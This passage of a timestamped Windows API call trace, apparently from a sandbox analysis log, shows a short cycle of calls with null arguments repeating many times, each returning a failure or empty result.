bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.423] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.423] GetLastError () returned 0x3 [0098.423] AddAtomA (lpString=0x0) returned 0x0 [0098.423] AddAtomA (lpString=0x0) returned 0x0 [0098.423] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.423] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.423] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.423] GetLastError () returned 0x3 [0098.423] AddAtomA (lpString=0x0) returned 0x0 [0098.423] AddAtomA (lpString=0x0) returned 0x0 [0098.423] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.423] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.423] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.423] GetLastError () returned 0x3 [0098.423] AddAtomA (lpString=0x0) returned 0x0 [0098.423] AddAtomA (lpString=0x0) returned 0x0 [0098.423] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.423] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.423] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.423] GetLastError () returned 0x3 [0098.423] AddAtomA (lpString=0x0) returned 0x0 [0098.423] AddAtomA (lpString=0x0) returned 0x0 [0098.423] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.423] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.423] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.423] GetLastError () returned 0x3 [0098.423] AddAtomA (lpString=0x0) returned 0x0 [0098.424] AddAtomA (lpString=0x0) returned 0x0 [0098.424] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.424] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.424] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.424] GetLastError () returned 0x3 [0098.424] AddAtomA (lpString=0x0) returned 0x0 [0098.424] AddAtomA (lpString=0x0) returned 0x0 [0098.424] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.424] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.424] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.424] GetLastError () returned 0x3 [0098.424] AddAtomA (lpString=0x0) returned 0x0 [0098.424] AddAtomA (lpString=0x0) returned 0x0 [0098.424] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.424] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.424] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.424] GetLastError () returned 0x3 [0098.424] AddAtomA (lpString=0x0) returned 0x0 [0098.424] AddAtomA (lpString=0x0) returned 0x0 [0098.424] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.424] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.424] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.424] GetLastError () returned 0x3 [0098.424] AddAtomA (lpString=0x0) returned 0x0 [0098.424] AddAtomA (lpString=0x0) returned 0x0 [0098.424] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.424] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.424] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.424] GetLastError () returned 0x3 [0098.424] AddAtomA (lpString=0x0) returned 0x0 [0098.424] AddAtomA (lpString=0x0) returned 0x0 [0098.424] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.424] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.424] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.424] GetLastError () returned 0x3 [0098.425] AddAtomA (lpString=0x0) returned 0x0 [0098.425] AddAtomA (lpString=0x0) returned 0x0 [0098.425] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.425] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.425] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.425] GetLastError () returned 0x3 [0098.425] AddAtomA (lpString=0x0) returned 0x0 [0098.425] AddAtomA (lpString=0x0) returned 0x0 [0098.425] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.425] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.425] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.425] GetLastError () returned 0x3 [0098.425] AddAtomA (lpString=0x0) returned 0x0 [0098.425] AddAtomA (lpString=0x0) returned 0x0 [0098.425] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.425] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.425] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.425] GetLastError () returned 0x3 [0098.425] AddAtomA (lpString=0x0) returned 0x0 [0098.425] AddAtomA (lpString=0x0) returned 0x0 [0098.425] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.425] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.425] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.425] GetLastError () returned 0x3 [0098.425] AddAtomA (lpString=0x0) returned 0x0 [0098.425] AddAtomA (lpString=0x0) returned 0x0 [0098.425] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.425] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.425] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.425] GetLastError () returned 0x3 [0098.425] AddAtomA (lpString=0x0) returned 0x0 [0098.425] AddAtomA (lpString=0x0) returned 0x0 [0098.425] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.425] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.425] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.426] GetLastError () returned 0x3 [0098.426] AddAtomA (lpString=0x0) returned 0x0 [0098.426] AddAtomA (lpString=0x0) returned 0x0 [0098.426] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.426] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.426] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.426] GetLastError () returned 0x3 [0098.426] AddAtomA (lpString=0x0) returned 0x0 [0098.426] AddAtomA (lpString=0x0) returned 0x0 [0098.426] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.426] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.426] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.426] GetLastError () returned 0x3 [0098.426] AddAtomA (lpString=0x0) returned 0x0 [0098.426] AddAtomA (lpString=0x0) returned 0x0 [0098.426] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.426] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.426] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.426] GetLastError () returned 0x3 [0098.426] AddAtomA (lpString=0x0) returned 0x0 [0098.426] AddAtomA (lpString=0x0) returned 0x0 [0098.426] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.426] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.426] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.426] GetLastError () returned 0x3 [0098.426] AddAtomA (lpString=0x0) returned 0x0 [0098.426] AddAtomA (lpString=0x0) returned 0x0 [0098.426] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.426] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.426] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.426] GetLastError () returned 0x3 [0098.426] AddAtomA (lpString=0x0) returned 0x0 [0098.426] AddAtomA (lpString=0x0) returned 0x0 [0098.426] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.426] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.427] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.427] GetLastError () returned 0x3 [0098.427] AddAtomA (lpString=0x0) returned 0x0 [0098.427] AddAtomA (lpString=0x0) returned 0x0 [0098.427] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.427] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.427] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.427] GetLastError () returned 0x3 [0098.427] AddAtomA (lpString=0x0) returned 0x0 [0098.427] AddAtomA (lpString=0x0) returned 0x0 [0098.427] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.427] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.427] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.427] GetLastError () returned 0x3 [0098.427] AddAtomA (lpString=0x0) returned 0x0 [0098.427] AddAtomA (lpString=0x0) returned 0x0 [0098.427] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.427] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.427] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.427] GetLastError () returned 0x3 [0098.427] AddAtomA (lpString=0x0) returned 0x0 [0098.427] AddAtomA (lpString=0x0) returned 0x0 [0098.427] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.427] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.427] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.427] GetLastError () returned 0x3 [0098.427] AddAtomA (lpString=0x0) returned 0x0 [0098.427] AddAtomA (lpString=0x0) returned 0x0 [0098.427] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.427] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.427] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.427] GetLastError () returned 0x3 [0098.427] AddAtomA (lpString=0x0) returned 0x0 [0098.427] AddAtomA (lpString=0x0) returned 0x0 [0098.427] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.427] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.428] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.428] GetLastError () returned 0x3 [0098.428] AddAtomA (lpString=0x0) returned 0x0 [0098.428] AddAtomA (lpString=0x0) returned 0x0 [0098.428] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.428] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.428] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.428] GetLastError () returned 0x3 [0098.428] AddAtomA (lpString=0x0) returned 0x0 [0098.428] AddAtomA (lpString=0x0) returned 0x0 [0098.428] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.428] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.428] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.428] GetLastError () returned 0x3 [0098.428] AddAtomA (lpString=0x0) returned 0x0 [0098.428] AddAtomA (lpString=0x0) returned 0x0 [0098.428] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.428] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.428] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.428] GetLastError () returned 0x3 [0098.428] AddAtomA (lpString=0x0) returned 0x0 [0098.428] AddAtomA (lpString=0x0) returned 0x0 [0098.428] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.428] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.428] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.428] GetLastError () returned 0x3 [0098.428] AddAtomA (lpString=0x0) returned 0x0 [0098.428] AddAtomA (lpString=0x0) returned 0x0 [0098.428] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.428] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.428] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.428] GetLastError () returned 0x3 [0098.428] AddAtomA (lpString=0x0) returned 0x0 [0098.428] AddAtomA (lpString=0x0) returned 0x0 [0098.428] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.428] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.428] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.429] GetLastError () returned 0x3 [0098.429] AddAtomA (lpString=0x0) returned 0x0 [0098.429] AddAtomA (lpString=0x0) returned 0x0 [0098.429] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.429] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.429] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.429] GetLastError () returned 0x3 [0098.429] AddAtomA (lpString=0x0) returned 0x0 [0098.429] AddAtomA (lpString=0x0) returned 0x0 [0098.429] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.429] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.429] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.429] GetLastError () returned 0x3 [0098.429] AddAtomA (lpString=0x0) returned 0x0 [0098.429] AddAtomA (lpString=0x0) returned 0x0 [0098.429] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.429] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.429] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.429] GetLastError () returned 0x3 [0098.429] AddAtomA (lpString=0x0) returned 0x0 [0098.429] AddAtomA (lpString=0x0) returned 0x0 [0098.429] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.429] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.429] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.429] GetLastError () returned 0x3 [0098.429] AddAtomA (lpString=0x0) returned 0x0 [0098.429] AddAtomA (lpString=0x0) returned 0x0 [0098.429] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.429] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.429] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.429] GetLastError () returned 0x3 [0098.429] AddAtomA (lpString=0x0) returned 0x0 [0098.429] AddAtomA (lpString=0x0) returned 0x0 [0098.429] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.429] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.430] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.430] GetLastError () returned 0x3 [0098.430] AddAtomA (lpString=0x0) returned 0x0 [0098.430] AddAtomA (lpString=0x0) returned 0x0 [0098.430] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.430] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.430] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.430] GetLastError () returned 0x3 [0098.430] AddAtomA (lpString=0x0) returned 0x0 [0098.430] AddAtomA (lpString=0x0) returned 0x0 [0098.430] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.430] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.430] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.430] GetLastError () returned 0x3 [0098.430] AddAtomA (lpString=0x0) returned 0x0 [0098.430] AddAtomA (lpString=0x0) returned 0x0 [0098.430] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.430] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.430] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.430] GetLastError () returned 0x3 [0098.430] AddAtomA (lpString=0x0) returned 0x0 [0098.430] AddAtomA (lpString=0x0) returned 0x0 [0098.430] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.430] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.430] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.430] GetLastError () returned 0x3 [0098.430] AddAtomA (lpString=0x0) returned 0x0 [0098.430] AddAtomA (lpString=0x0) returned 0x0 [0098.430] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.430] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.430] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.430] GetLastError () returned 0x3 [0098.430] AddAtomA (lpString=0x0) returned 0x0 [0098.430] AddAtomA (lpString=0x0) returned 0x0 [0098.430] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.430] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.431] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.431] GetLastError () returned 0x3 [0098.431] AddAtomA (lpString=0x0) returned 0x0 [0098.431] AddAtomA (lpString=0x0) returned 0x0 [0098.431] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.431] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.431] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.431] GetLastError () returned 0x3 [0098.431] AddAtomA (lpString=0x0) returned 0x0 [0098.431] AddAtomA (lpString=0x0) returned 0x0 [0098.431] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.431] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.431] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.431] GetLastError () returned 0x3 [0098.431] AddAtomA (lpString=0x0) returned 0x0 [0098.431] AddAtomA (lpString=0x0) returned 0x0 [0098.431] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.431] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.431] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.431] GetLastError () returned 0x3 [0098.431] AddAtomA (lpString=0x0) returned 0x0 [0098.431] AddAtomA (lpString=0x0) returned 0x0 [0098.431] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.431] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.431] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.431] GetLastError () returned 0x3 [0098.431] AddAtomA (lpString=0x0) returned 0x0 [0098.431] AddAtomA (lpString=0x0) returned 0x0 [0098.431] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.431] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.431] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.431] GetLastError () returned 0x3 [0098.431] AddAtomA (lpString=0x0) returned 0x0 [0098.431] AddAtomA (lpString=0x0) returned 0x0 [0098.431] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.431] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.432] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.432] GetLastError () returned 0x3 [0098.432] AddAtomA (lpString=0x0) returned 0x0 [0098.432] AddAtomA (lpString=0x0) returned 0x0 [0098.432] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.432] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.432] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.432] GetLastError () returned 0x3 [0098.432] AddAtomA (lpString=0x0) returned 0x0 [0098.432] AddAtomA (lpString=0x0) returned 0x0 [0098.432] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.432] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.432] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.432] GetLastError () returned 0x3 [0098.432] AddAtomA (lpString=0x0) returned 0x0 [0098.433] AddAtomA (lpString=0x0) returned 0x0 [0098.433] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.433] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.433] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.433] GetLastError () returned 0x3 [0098.433] AddAtomA (lpString=0x0) returned 0x0 [0098.433] AddAtomA (lpString=0x0) returned 0x0 [0098.433] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.433] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.433] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.433] GetLastError () returned 0x3 [0098.433] AddAtomA (lpString=0x0) returned 0x0 [0098.433] AddAtomA (lpString=0x0) returned 0x0 [0098.433] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.433] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.433] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.433] GetLastError () returned 0x3 [0098.433] AddAtomA (lpString=0x0) returned 0x0 [0098.433] AddAtomA (lpString=0x0) returned 0x0 [0098.433] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.433] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.433] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.433] GetLastError () returned 0x3 [0098.433] AddAtomA (lpString=0x0) returned 0x0 [0098.433] AddAtomA (lpString=0x0) returned 0x0 [0098.433] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.433] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.433] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.433] GetLastError () returned 0x3 [0098.434] AddAtomA (lpString=0x0) returned 0x0 [0098.434] AddAtomA (lpString=0x0) returned 0x0 [0098.434] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.434] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.434] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.434] GetLastError () returned 0x3 [0098.434] AddAtomA (lpString=0x0) returned 0x0 [0098.434] AddAtomA (lpString=0x0) returned 0x0 [0098.434] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.434] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.434] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.434] GetLastError () returned 0x3 [0098.434] AddAtomA (lpString=0x0) returned 0x0 [0098.434] AddAtomA (lpString=0x0) returned 0x0 [0098.434] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.434] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.434] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.434] GetLastError () returned 0x3 [0098.434] AddAtomA (lpString=0x0) returned 0x0 [0098.434] AddAtomA (lpString=0x0) returned 0x0 [0098.434] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.434] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.434] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.434] GetLastError () returned 0x3 [0098.434] AddAtomA (lpString=0x0) returned 0x0 [0098.434] AddAtomA (lpString=0x0) returned 0x0 [0098.434] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.434] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.434] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: 